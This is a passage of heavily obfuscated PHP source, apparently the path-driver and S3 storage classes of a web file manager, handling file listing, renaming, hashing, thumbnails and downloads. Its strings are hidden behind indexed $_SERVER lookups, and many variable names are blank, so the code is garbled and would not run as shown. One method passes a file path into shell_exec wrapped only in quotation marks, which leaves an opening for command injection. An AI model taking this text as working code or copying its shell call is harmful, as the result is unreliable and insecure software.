$͊] = $; $ԧ[$˃ . $Ҭʣ[70] . $崁 . $Ҭʣ[71] . $͊] = $͊; $ԧ[$˃ . $Ҭʣ[70] . $崁 . $Ҭʣ[71] . $] = $͊; $ԧ[$崁 . $Ҭʣ[70] . $˃ . $Ҭʣ[71] . $] = $; return $; } public function getPathInner($ށ) { $Ќ = IO::init($ށ); return $Ќ->path; } public function getPathOuter($˼) { $ކ =& $_SERVER[]; $˪ف = strlen(trim($this->pathBase, $ކ[8])); $˼ = substr(trim($˼, $ކ[8]), $˪ف); return $this->pathDriver . $ކ[8] . ltrim($˼, $ކ[8]); } public function isParentOf($ޒ, $) { $ˮ =& $_SERVER[]; $ޒ = rtrim(strtolower($ޒ), $ˮ[8]) . $ˮ[8]; $ = rtrim(strtolower($), $ˮ[8]) . $ˮ[8]; $ꚁ = strpos($, $ޒ) === 0; return $ꚁ; } public function getType() { $ͻ =& $_SERVER[]; $ = str_replace($ͻ[74], $ͻ[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($縫Ĩ, $Ɋ) { $ϰ =& $_SERVER[]; $҄ = rtrim($縫Ĩ, $ϰ[8]) . $ϰ[8] . $Ɋ; $ʘ = $this->exist($҄); return $ʘ ? $҄ : !1; } public function setModifyTime($ݹ, $ = '') { } public function renameObject($ˡ, $) { $ =& $_SERVER[]; $ӱ = $; Hook::trigger($[75], $this, $ˡ, $this, $this->pathFather($ˡ) . $); $ˡ = $this->getPathOuter($ˡ); $ = $this->pathFather($ˡ) . $; if (IO::isFile($ˡ)) { $蟶 = IO::copy($ˡ, $this->pathFather($ˡ), REPEAT_RENAME_FOLDER, $ӱ); if ($蟶) { IO::remove($ˡ); } } else { $蟶 = IO::mkdir($); if (!$蟶) { return !1; } $Ǥ = IO::listPath($ˡ, !0); $ = array_merge($Ǥ[$[76]], $Ǥ[$[77]]); foreach ($ as $) { IO::move($[$[78]], $, REPEAT_RENAME_FOLDER); } IO::remove($ˡ); } return $蟶 ? $ : !1; } public function tempFile($埊 = '', $ = '') { if (!$埊) { $埊 = rand_string(15); } $ɬ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($ɬ, DEFAULT_PERRMISSIONS, !0); $ = $ɬ . $埊; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($鉾) { @unlink($鉾); @rmdir($this->pathFather($鉾)); } public function mkfile($ܭ, $ש = '', $߻ = REPEAT_RENAME) { } public function mkdir($΃, $Ñ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($򌒏) { } public function copyFile($Ø, $) { } public function moveFile($̫گ, $ꊖ) { } public function remove($ٗ̒) { if ($this->isFile($ٗ̒)) { return $this->delFile($ٗ̒); } return $this->delFolder($ٗ̒); } public function rename($͉, $nj) { } public function exist($椪) { } public function findByHash($̆ = '', $ = '') { return !1; } public function isFile($ٮ) { } public function isFolder($̛) { } public function size($) { } public function info($) { } public function infoSimple($͢) { return $this->info($͢); } public function infoAuth($쓆) { return $this->info($쓆); } public function infoFull($) { return $this->info($); } public function infoWithChildren($ܛ) { $߷ =& $_SERVER[]; static $喜 = array(); if (isset($喜[$ܛ])) { return $喜[$ܛ]; } $ = $this->info($ܛ); if ($ && $[$߷[33]] == $߷[79]) { $ = array($߷[80] => 0, $߷[81] => 0, $߷[82] => 0); $this->infoChildren($ܛ, $); $[$߷[80]] = $[$߷[80]]; $[$߷[83]] = array($߷[84] => $[$߷[81]], $߷[85] => $[$߷[82]]); $喜[$ܛ] = $; } return $; } public function listPath($, $ = false) { } public function has($, $͌ = false, $⡾ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($П) { } public function setContent($Ρǭ, $ = '') { } protected function infoChildren($, &$) { $ý =& $_SERVER[]; check_abort_echo(); $堲ǖ = $this->listPath($, !0); $堲ǖ = array_merge($堲ǖ[$ý[77]], $堲ǖ[$ý[76]]); foreach ($堲ǖ as $) { if ($[$ý[33]] == $ý[79]) { $[$ý[82]]++; $ë = $this->getPathInner($[$ý[78]]); $this->infoChildren($ë, $); } else { $[$ý[81]]++; $[$ý[80]] += $[$ý[80]]; } } } public function fileSubstr($݁, $ĉ, $ϛ) { } public function listAll($) { } public function listAllMake($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ו = $this->listPath($, !0); if (!$ו) { return; } $ = array_merge($ו[$[77]], $ו[$[76]]); foreach ($ as $٥ڬ) { $Η = $٥ڬ[$[33]] == $[79]; $띸 = array($[78] => $٥ڬ[$[78]], $[79] => $Η); if (isset($٥ڬ[$[80]])) { $띸[$[80]] = $٥ڬ[$[80]]; } if (isset($٥ڬ[$[86]])) { $띸[$[86]] = $٥ڬ[$[86]]; } if (!$Η) { $[] = $띸; continue; } $[] = $띸; $ƚ۴ = $٥ڬ[$[78]]; $ә = $this->pathDriver; if (substr($٥ڬ[$[78]], 0, strlen($ә)) == $ә) { $ƚ۴ = substr($ƚ۴, strlen($ә)); } $this->listAllMake($ƚ۴, $); } } public function listAllSimple($يΩ) { $՚ =& $_SERVER[]; $㹺 = array(); $ֆ = $this->listAll($يΩ); $ = $this->getPathOuter($يΩ); foreach ($ֆ as $Ǡ) { $ = $Ǡ[$՚[78]]; $ = $Ǡ[$՚[78]]; if (isset($Ǡ[$՚[87]])) { $ = $Ǡ[$՚[87]][$՚[78]]; $Ǡ[$՚[80]] = $Ǡ[$՚[87]][$՚[80]]; $Ǡ[$՚[86]] = $Ǡ[$՚[87]][$՚[86]]; } else { $ = substr($Ǡ[$՚[78]], strlen(get_path_father($))); $ = $՚[8] . ltrim($, $՚[8]); } $Ϙ = array($՚[78] => $, $՚[79] => $Ǡ[$՚[79]]); if (isset($Ǡ[$՚[80]]) && !$Ǡ[$՚[79]]) { $Ϙ[$՚[80]] = $Ǡ[$՚[80]]; } if (isset($Ǡ[$՚[86]])) { $Ϙ[$՚[86]] = $Ǡ[$՚[86]]; } if (!$Ǡ[$՚[79]]) { $Ϙ[$՚[88]] = $; } $㹺[] = $Ϙ; } return $㹺; } public function upload($, $, $Ǘº = false, $” = REPEAT_REPLACE) { } public function uploadFileByID($, $ĵ, $έ) { } public function uploadFileByPath($ȓ, $, $ = array()) { } public function isUploadServer() { $ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[89]) { return !0; } return $GLOBALS[$[6]][$[90]][$[91]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[89]) { return !0; } return $GLOBALS[$[6]][$[90]][$[92]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($) { $ђ =& $_SERVER[]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $ђ[8]), trim($this->cdnHost, $ђ[8]), $); } public function uploadLink($˱, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ىۈ = $this->getType(); if (!in_array($ىۈ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $nj = 1024 * 1024 * 10; $ = $ <= $nj ? $[93] : $[94]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ù = $this->{$}($˱, $); if ($ù) { $ù[$[95]] = $˱; $ù[$[96]] = $ىۈ; } return $ù; } public function uploadFormData($׿߻, $ʾ = 3600) { } public function multiUploadFormData($Ô, $ = 3600) { } public function download($ث, $ج) { } public function ext($킒) { $Ʃ =& $_SERVER[]; if (strpos($킒, $Ʃ[8]) === -1) { $릖 = $킒; } else { $릖 = $this->pathThis($킒); } $ɯΜ = $Ʃ[12]; if (strstr($릖, $Ʃ[10])) { $ɯΜ = substr($릖, strrpos($릖, $Ʃ[10]) + 1); $ɯΜ = strtolower($ɯΜ); } if (strlen($ɯΜ) > 3 && preg_match($Ʃ[97], $ɯΜ, $Ҷ²)) { $ɯΜ = $Ʃ[12]; } return $ɯΜ; } public function pathThis($ݯ) { $ҽ =& $_SERVER[]; $ݯ = str_replace($ҽ[98], $ҽ[8], rtrim($ݯ, $ҽ[8])); $ܕ = strrpos($ݯ, $ҽ[8]); if ($ܕ === !1) { return $ݯ; } return substr($ݯ, $ܕ + 1); } public function pathFather($) { $¸ =& $_SERVER[]; $ = str_replace($¸[98], $¸[8], rtrim($, $¸[8])); $˜ = strrpos($, $¸[8]); if ($˜ === !1) { return $¸[12]; } return substr($, 0, $˜ + 1); } public function hashSimple($ʇġ) { $Ԡ =& $_SERVER[]; if (!$ʇġ) { return md5($Ԡ[12]); } $ՙ = $this->size($ʇġ); $ = 200; $ = 50; if ($ՙ <= $ * $) { return $this->hashMd5($ʇġ) . $ՙ; } $ׂ = intval($ՙ / $); $ = $Ԡ[12]; for ($׃Ԑ = 0; $׃Ԑ < $; $׃Ԑ++) { $ .= $this->fileSubstr($ʇġ, $ׂ * $׃Ԑ, $); } $ .= $this->fileSubstr($ʇġ, $ՙ - $, $); return md5($) . $ՙ; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($Ӣ) { $· =& $_SERVER[]; if (!$Ӣ) { return md5($·[12]); } if (!function_exists($·[99])) { return !1; } $ɔ = array($·[100], $·[101]); $߅փ = Cache::get($·[102]); if (!$߅փ) { $ = BASIC_PATH . $·[103]; $̾ = md5_file($); $߅փ = $·[104]; foreach ($ɔ as $) { $ד = shell_exec($ . "\x20\42{$}\x22"); if ($ד && substr(trim($ד), 0, 32) == $̾) { $߅փ = $; break; } } Cache::set($·[102], $߅փ, 3600); } if ($߅փ == $·[104]) { return !1; } $ד = shell_exec($߅փ . "\x20\42{$Ӣ}\x22"); $ד = str_replace($·[105], $·[12], $ד); return substr($ד, 0, 32); } public function link($;) { return $;; } public function fileOut($, $ˇ = false, $͵Ń = false, $ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($[106]), !1, $͵Ń); } $“ܖ = $this->getType() == $[107]; $ = $GLOBALS[$[6]][$[90]][$[108]][$[109]]; $њݠ = (double) $GLOBALS[$[6]][$[90]][$[108]][$[110]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $پ = $this->infoFull($); $ = $پ[$[80]]; $Ժ = gmdate($[111], $پ[$[86]]); $ű = $͵Ń ? $͵Ń : $this->iconvApp($پ[$[32]]); $с = 0; $ڳ = $ - 1; $Ϝه = $this->ext($ű); if (in_array($Ϝه, array($[112], $[113], $[114], $[115]))) { $Ϝه = $[116]; } if (!$) { $ = md5($Ժ . $this->hashSimple($)); } $ = $[117] . $ . $[117]; $ɲ = get_file_mime($Ϝه); if ($ˇ === !1 && !mime_support($ɲ)) { $ˇ = !0; $ɲ = $[118]; } header($[119]); header($[120] . $ɲ); $ = rawurlencode($ű); $ = $[117] . $ . $[121] . $; if ($ˇ) { header($[122]); header($[123] . $); } else { } header($[124] . gmdate($[111], time() + 3600 * 24 * 30) . $[125]); header($[126]); header($[127]); header($[128]); if (isset($_SERVER[$[129]]) && strtotime($_SERVER[$[129]]) == $پ[$[86]]) { header($[130], !0, 304); die; } if (isset($_SERVER[$[131]]) && $_SERVER[$[131]] == $) { header($[132] . $, !0, 304); die; } header($[132] . $); header($[133] . $Ժ . $[125]); header($[134] . $ű); header($[135]); header($[136] . $); header($[137]); if (!$ˇ && $Ϝه == $[138]) { if ($ > 1024 * 1024 * 5) { die; } $뉫ŕ = $this->getContent($); $뉫ŕ = Html::clearSVG($뉫ŕ); header($[139] . strlen($뉫ŕ)); echo $뉫ŕ; die; } $ = strtolower($_SERVER[$[140]]); if ($“ܖ && $ && $) { if (strstr($, $[141])) { header($[142] . $); } else { if (strstr($, $[143])) { header($[144] . $); } else { if (strstr($, $[145])) { header($[146] . $); } } } if ($њݠ) { header($[147] . $њݠ); } return; } if (isset($_SERVER[$[148]])) { if (preg_match($[149], $_SERVER[$[148]], $Ȧ)) { $с = intval($Ȧ[1]); if (!empty($Ȧ[2])) { $ڳ = intval($Ȧ[2]); } } header($[150]); header("\103\x6f\156\x74\x65\x6e\x74\55\x52\141\x6e\x67\145\72\40\x62\x79\x74\x65\x73\40{$с}\55{$ڳ}\57" . $); } else { header($[151]); } header($[152]); $ϝܻ = !0; if ($_SERVER[$[153]] == $[154] && $ > 1204 * 1024 * 1024 * 2) { $ϝܻ = !1; } if ($ϝܻ) { header($[155] . ($ڳ - $с + 1)); } if ($_SERVER[$[156]] == $[157]) { return; } $ = 1024 * 100; $妩 = 0; if ($њݠ) { $妩 = intval(1000 * 1000 * ($ / $њݠ)); } while ($с <= $ڳ) { $ˑ = timeFloat(); check_abort(); $Ў = $ڳ - $с + 1; if ($Ў <= $) { $ = $Ў; } echo $this->fileSubstr($, $с, $); $с += $; if ($ == $Ў) { $с = $ڳ + 1; } if ($妩) { $𽩆 = intval(1000 * 1000 * (timeFloat() - $ˑ)); $ = $妩 - $𽩆; if ($ > 5) { usleep($); } } } } public function fileOutServer($٘߄, $ = false, $ = false, $ = '') { $this->fileOut($٘߄, $, $, $); } public function fileOutLink($٧콢) { header($_SERVER[][158] . $٧콢); die; } public function cacheMethod($ߪ, $, $ = null) { $ =& $_SERVER[]; static $Φ = array(); $ęڙ = $ ? ltrim($this->getPathOuter($), $[8]) : $; $Š = $[159] . $ߪ . $[160] . rtrim($ęڙ, $[8]); if (is_null($ߪ)) { $Φ = array(); return; } if (is_null($)) { unset($Φ[$Š]); return; } if (!is_null($)) { $Φ[$Š] = $; return; } $Ͳ = isset($Φ[$Š]) ? $Φ[$Š] : null; if (!is_null($Ͳ)) { return $Ͳ; } $Ͳ = $this->{$ߪ}($); $Φ[$Š] = $Ͳ; return $Ͳ; } public function fileOutImage($쑇, $Ċ = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($쑇, 0, 4) == $[145]) { $this->fileOutLink($쑇); } $ؿ = $this->info($쑇); $Ӽ = $ؿ[$[32]]; $롅 = !1; if (isset($GLOBALS[$[161]]) && $GLOBALS[$[161]][$[78]] == $ؿ[$[78]]) { $ݳ = $GLOBALS[$[161]][$[162]]; if (!$ؿ[$[163]]) { $ؿ[$[163]] = $GLOBALS[$[161]]; } if (isset($ݳ[$[164]])) { if ($ݳ[$[164]] <= $Ċ && $ݳ[$[165]] <= $Ċ) { $롅 = !0; } } $Ӽ = $ؿ[$[163]][$[32]]; } if ($ؿ[$[80]] <= 1024 * 50 || $롅 || !function_exists($[166]) || $ؿ[$[167]] == $[168]) { return $this->fileOut($쑇, !1, $Ӽ); } if (isset($ؿ[$[163]][$[169]])) { $ = $ؿ[$[163]][$[169]]; } else { if (isset($ؿ[$[163]][$[170]])) { $ = $ؿ[$[163]][$[170]]; } else { $ = md5("{$ؿ[$[32]]}\137{$ؿ[$[78]]}\137{$ؿ[$[80]]}"); } } $ = "{$}\137{$Ċ}\56\160\156\147"; if (!($ܮ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[171]))) { $Ũ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[172]); } else { $Ũ = KodIO::make($ܮ); } if ($ܮ = IO::fileNameExist($Ũ, $)) { $糘 = KodIO::make($ܮ); return IO::fileOut($糘, !1, $Ӽ); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $糘 = DATA_THUMB . $; del_file($糘); if (!@file_exists($糘)) { $ɵ = TEMP_FILES; if (!is_dir($ɵ)) { mk_dir($ɵ); } $ = $ɵ . $ . $[10] . $ؿ[$[167]]; if (!@file_exists($)) { $ = $this->download($쑇, $); } ImageThumb::createThumb($, $糘, $Ċ, $Ċ * 10); } if (!file_exists($糘) || filesize($糘) < 100) { return @file_exists($) ? IO::fileOut($) : $this->fileOut($쑇); } if (!($߯ = IO::move($糘, $Ũ))) { return IO::fileOut($糘); } del_file($糘); IO::fileOut($߯); } public function fileOutImageServer($ƹ, $ = 250) { $this->fileOutImage($ƹ, $); } public function fileNameAuto($ﴭ, $ȇ, $ƨ = REPEAT_RENAME, $ߗ = false) { $ӭ =& $_SERVER[]; $܃ = $ﴭ === $ӭ[12] ? $ȇ : rtrim($ﴭ, $ӭ[8]) . $ӭ[8] . $ȇ; if ($ƨ == REPEAT_REPLACE || !$this->exist($܃) || $ߗ && $ƨ != REPEAT_RENAME_FOLDER) { return $ȇ; } if ($ƨ == REPEAT_SKIP) { return !1; } $ך = $ӭ[10] . get_path_ext($ȇ); $ך = $ך == $ӭ[10] || $ߗ ? $ӭ[12] : $ך; $г = 1; $Ĭ = substr($ȇ, 0, strlen($ȇ) - strlen($ך)); $ = $Ĭ . "\x28{$г}\51{$ך}"; while ($this->exist(rtrim($ﴭ, $ӭ[8]) . $ӭ[8] . $)) { $ = $Ĭ . "\50{$г}\51{$ך}"; $г++; } return $; } private function fileNameAutoList($, $, $Ԏ = false) { $Ŝ =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$Ŝ[77]], $[$Ŝ[76]]); $ֲ = array_to_keyvalue($, $Ŝ[12], $Ŝ[32]); $ۿ = $Ŝ[10] . get_path_ext($); $ۿ = $ۿ == $Ŝ[10] || $Ԏ ? $Ŝ[12] : $ۿ; $ = substr($, 0, strlen($) - strlen($ۿ)); $ = $ . "\50\x30\x29{$ۿ}"; for ($ = 1; $ <= count($ֲ) + 1; $++) { $ = $ . "\50{$}\51{$ۿ}"; if (!in_array_not_case($, $ֲ)) { return $; } } return $; } public function listAllFiles($ʹ, $Ӓɀ, $ = array()) { $א薖 =& $_SERVER[]; if (empty($Ӓɀ)) { return array(); } $ = array(); $ʹ = trim($ʹ, $א薖[8]); foreach ($Ӓɀ as $) { $ۯ = ltrim(substr(trim($, $א薖[8]), strlen($ʹ)), $א薖[8]); $ = array_merge($, $this->slicePath($ۯ)); } $ = array(); foreach (array_unique($) as $) { $Ը = array($א薖[78] => $this->getPathOuter($א薖[8] . $ʹ . $א薖[8] . $), $א薖[79] => 1, $א薖[80] => 0); if (substr($, -1) != $א薖[8]) { $Ը[$א薖[79]] = 0; $ = $this->getPath($ʹ . $א薖[8] . $); $Ը[$א薖[80]] = isset($[$]) ? $[$] : $this->size($); } $[] = $Ը; } return $; } public function slicePath($) { $˖ =& $_SERVER[]; $ = explode($˖[8], trim($, $˖[8])); $ = 0; do { ++$; $ƛ[] = implode($˖[8], array_slice($, 0, $)) . $˖[8]; } while ($ < count($)); $ƛ[count($) - 1] = $; return $ƛ; } public function getHost() { $רӜ =& $_SERVER[]; $ = parse_url(trim($this->domain, $רӜ[8])); $ = isset($[$רӜ[173]]) ? $[$רӜ[173]] : http_type(); $ = isset($[$רӜ[174]]) ? $[$רӜ[174]] : $[$רӜ[78]]; if (isset($[$רӜ[175]])) { $ .= $רӜ[4] . $[$רӜ[175]]; } return $ . $רӜ[176] . $; } public function pathEncode($) { $ =& $_SERVER[]; return str_replace($[177], $[8], rawurlencode($)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\x34"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($翞) { set_timeout(); require_once SDK_DIR . $_SERVER[][178]; parent::__construct(); $this->_init($翞); } public function _init($) { foreach ($ as $頉 => $Ж) { if (isset($this->{$頉})) { $this->{$頉} = $Ж; } } $this->endpoint = $[$_SERVER[][179]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\x76\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $˴ =& $_SERVER[]; $ʭ = $this->getBucketCors(); if (!$ʭ || !is_array($ʭ)) { return !1; } if ($ʭ[$˴[180]] != $˴[181] || $ʭ[$˴[182]] != $˴[181]) { return !1; } $無 = array_map($˴[183], $ʭ[$˴[184]]); if (!is_array($無)) { $無 = array(); } $ = array($˴[185], $˴[186], $˴[187], $˴[188], $˴[189]); $ƥ = array_diff($, $無); return empty($ƥ); } public function mkfile($Ó, $ȕҊ = '', $伵 = REPEAT_RENAME) { $ = $this->setContent($Ó, $ȕҊ); if ($ !== !1) { return $this->getPathOuter($Ó); } return !1; } public function mkdir($, $ɴ = REPEAT_SKIP) { $˭ =& $_SERVER[]; if (empty($) && $ !== $˭[190]) { return !1; } if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ѥ = $this->setContent($, $˭[12], !0); if ($Ѥ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($̄, $, $ = array()) { $ؘ =& $_SERVER[]; $¿ = $this->objectMeta($̄); if (!$¿) { return !1; } if ($¿[$ؘ[80]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $̄, $this->bucket, $, $ؘ[191], $); } else { $ = $this->client->multiCopyObject($this->bucket, $̄, $this->bucket, $, $); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[190] && !in_array($, $[$[77]])) { $[$[77]][] = $; } $ = $this->delByBatch($[$[76]]); if (!$) { return !1; } $ = $this->delByBatch($[$[77]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($ؽ) { foreach (array_chunk($ؽ, 1000) as $Ş) { $ = $this->client->deleteObjects($this->bucket, $Ş); if (!$) { return !1; } } return !0; } public function rename($ȏ, $زݜ) { return $this->renameObject($ȏ, $زݜ); } public function listPath($ڣ, $嶓 = false) { $ů =& $_SERVER[]; $ = $this->fileList($ڣ, $ů[8], !0); foreach ($[$ů[77]] as $غ => $Ǯ) { $[$ů[77]][$غ] = $this->folderInfo($Ǯ, $嶓); } foreach ($[$ů[76]] as $غ => $Ǯ) { $[$ů[76]][$غ] = $this->fileInfo($Ǯ[$ů[32]], $嶓, $Ǯ); } return $; } private function fileInfo($, $ = false, $ϕ = array()) { $Ź =& $_SERVER[]; $ݸ = array($Ź[32] => $this->pathThis($), $Ź[78] => $this->getPathOuter($), $Ź[33] => $Ź[192], $Ź[167] => $this->ext($), $Ź[80] => isset($ϕ[$Ź[80]]) ? $ϕ[$Ź[80]] : 0); if ($) { return $ݸ; } $ݸ[$Ź[193]] = $ݸ[$Ź[86]] = 0; $ݸ[$Ź[194]] = $ݸ[$Ź[195]] = !0; if (empty($ϕ)) { $ϕ = $this->objectMeta($); if (!$ϕ) { return $ݸ; } } if (isset($ϕ[$Ź[196]])) { $ݸ[$Ź[86]] = $ϕ[$Ź[196]]; } if (isset($ϕ[$Ź[80]])) { $ݸ[$Ź[80]] = $ϕ[$Ź[80]]; } return $ݸ; } private function folderInfo($ߔ, $ɟ = false) { $܎ =& $_SERVER[]; $àɘ = array($܎[32] => $this->pathThis($ߔ), $܎[78] => $this->getPathOuter($܎[8] . $ߔ), $܎[33] => $܎[79]); if ($ɟ) { return $àɘ; } $àɘ[$܎[193]] = $àɘ[$܎[86]] = 0; $àɘ[$܎[194]] = $àɘ[$܎[195]] = !0; if ($ߔ == $܎[12]) { return $àɘ; } $ߔ = trim($ߔ, $܎[8]) . $܎[8]; $м = $this->objectMeta($ߔ); if (isset($м[$܎[196]])) { $àɘ[$܎[193]] = $м[$܎[196]]; } return $àɘ; } private function fileList($Ǒ, $ = '', $آ = 0) { $ =& $_SERVER[]; $ = rtrim($Ǒ, $[8]) . $[8]; $ӮԦ = $this->listObjs($, null, null, $); if (!$ӮԦ) { return array($[77] => array(), $[76] => array()); } $ń = $this->listItemCache === !1 ? !1 : !0; $ = $ = array(); foreach ($ӮԦ[$[197]] as $ԭ) { $ = $ԭ[$[32]]; if ($ == $) { continue; } $ϵ = isset($ԭ[$[80]]) ? $ԭ[$[80]] : 0; $ = $ϵ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($ń) { $this->cacheMethod($[198], $, $); $this->cacheMethod($[199], $, $ԭ); } if ($) { $[] = $; continue; } $[] = $آ ? $ԭ : $; } foreach ($ӮԦ[$[200]] as $ԭ) { $[] = $ԭ[$[32]]; if ($ń) { $this->cacheMethod($[198], $ԭ[$[32]], !0); } } if ($ń) { $this->cacheMethod($[198], $Ǒ, !0); } return array($[77] => $, $[76] => $); } private function listObjs($Ե, $유 = null, $ޡ = null, $ҹƤ = null) { $ =& $_SERVER[]; $Ե = trim($Ե, $[8]); $ = empty($Ե) && $Ե !== $[190] ? $[12] : $Ե . $[8]; return $this->client->getBucket($this->bucket, $, $유, $ޡ, $ҹƤ, !0); } public function has($, $ = false, $ = true) { $Ù =& $_SERVER[]; $ = trim($, $Ù[8]); $ = empty($) && $ !== $Ù[190] ? $Ù[12] : $ . $Ù[8]; $ʝ = null; $в = 500; $䂻 = $Ù[8]; $ = $ = array(); while (!0) { $ = $this->listObjs($, $ʝ, $в, $䂻); if (!$) { break; } $ʝ = $[$Ù[201]]; $͛ = $[$Ù[197]]; $ = $[$Ù[200]]; if (empty($͛) && empty($)) { break; } if (count($͛) == 1 && $͛[0][$Ù[32]] == $) { break; } if ($) { if (count($͛)) { $͛ = array_column($͛, $Ù[32]); $ = array_merge($, $͛); } if (count($)) { $ = array_column($, $Ù[32]); $ = array_merge($, $); } if ($ʝ === null) { break; } continue; } if ($) { if (!empty($͛)) { if (count($͛) > 1 || isset($͛[0][$Ù[32]]) && $͛[0][$Ù[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ʝ === null) { break; } } if ($) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($Ù[202] => $, $Ù[203] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $˹ = array(); foreach ($[$[76]] as $д) { $˹[$д[$[32]]] = $д[$[80]]; } foreach ($[$[77]] as $д) { if (is_string($д)) { $˹[$д] = 0; } } return $this->listAllFiles($, array_keys($˹), $˹); } public function canRead($ӕ) { $Ȼ =& $_SERVER[]; $Į = $this->client->getAccessControlPolicy($this->bucket, $ӕ); if (!$Į) { return !1; } return in_array($Į, array($Ȼ[204], $Ȼ[205], $Ȼ[206])) ? !0 : !1; } public function canWrite($폥) { $ݍ =& $_SERVER[]; $Ε = $this->client->getAccessControlPolicy($this->bucket, $폥); if (!$Ε) { return !1; } return in_array($Ε, array($ݍ[204], $ݍ[205])) ? !0 : !1; } public function getContent($ӭ) { return $this->client->getObject($this->bucket, $ӭ); } public function setContent($, $Ȏ = '', $ަѠ = false) { $ =& $_SERVER[]; $ = $ަѠ ? trim($, $[8]) . $[8] : $; $綳 = get_file_mime(get_path_ext($)); $ڂ = $this->client->putObject($Ȏ, $this->bucket, $, $[191], array(), $綳); if (!$ڂ) { return !1; } if ($ަѠ) { return !0; } $this->cacheMethod(null, null); $ڂ = $this->copyFile($, $, array($[207] => $ڂ[$[208]])); return $ڂ ? !0 : !1; } public function fileSubstr($ی, $ߒ, $) { $ܥ = $ߒ + $ - 1; return $this->client->getObject($this->bucket, $ی, array($_SERVER[][209] => "\x62\171\164\x65\163\x3d{$ߒ}\x2d{$ܥ}")); } public function upload($, $ݬ, $ʜ = false, $ = REPEAT_REPLACE) { $ϸ޸ =& $_SERVER[]; $Ω = array($ϸ޸[207] => @md5_file($ݬ)); $ڇ = array($ϸ޸[210] => get_file_mime(get_path_ext($))); if (IO::size($ݬ) <= 1024 * 1024 * 200) { $ג = $this->client->putObjectFile($ݬ, $this->bucket, $, $ϸ޸[191], $Ω, $ڇ); return !empty($ג) ? $this->getPathOuter($) : !1; } $ݿм = $this->client->multiUploadObject($ݬ, $this->bucket, trim($, $ϸ޸[8]), $Ω, $ڇ); return $ݿм ? $this->getPathOuter($) : !1; } public function download($, $ǹ) { if (!@is_dir($this->pathFather($ǹ)) && !IO::mkdir($this->pathFather($ǹ))) { return !1; } $ = $this->client->getObject($this->bucket, $, array(), $ǹ); return $ !== !1 ? $ǹ : !1; } public function link($, $ = array()) { $ؖΩ =& $_SERVER[]; if ($this->signVer == $ؖΩ[211]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $ؖΩ[8]), 3600 * 12, $this->region, array(), !0, $); } public function fileOut($וٲ, $ȳ = false, $ϙ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($וٲ, $ȳ, $ϙ, $); } if (!$ϙ) { $ϙ = $this->pathThis($וٲ); } $묟 = get_file_mime(get_path_ext($ϙ)); if ($묟 == $[212]) { return parent::fileOut($וٲ, $ȳ, $ϙ, $); } $ = array($[213] => $묟); if ($ȳ) { $[$[214]] = $[215] . rawurlencode($ϙ); } else { } $ҳ = $this->link($וٲ, $); $this->fileOutLink($ҳ); } public function fileOutServer($㾣, $ = false, $̪ = false, $ȓ = '') { parent::fileOut($㾣, $, $̪, $ȓ); } public function fileOutImageServer($ņ, $ = 250) { parent::fileOutImage($ņ, $); } public function hashMd5($ߐ, $ = '') { $ݨˌ =& $_SERVER[]; $ԡ = $this->objectMeta($ߐ); if (!$ԡ) { 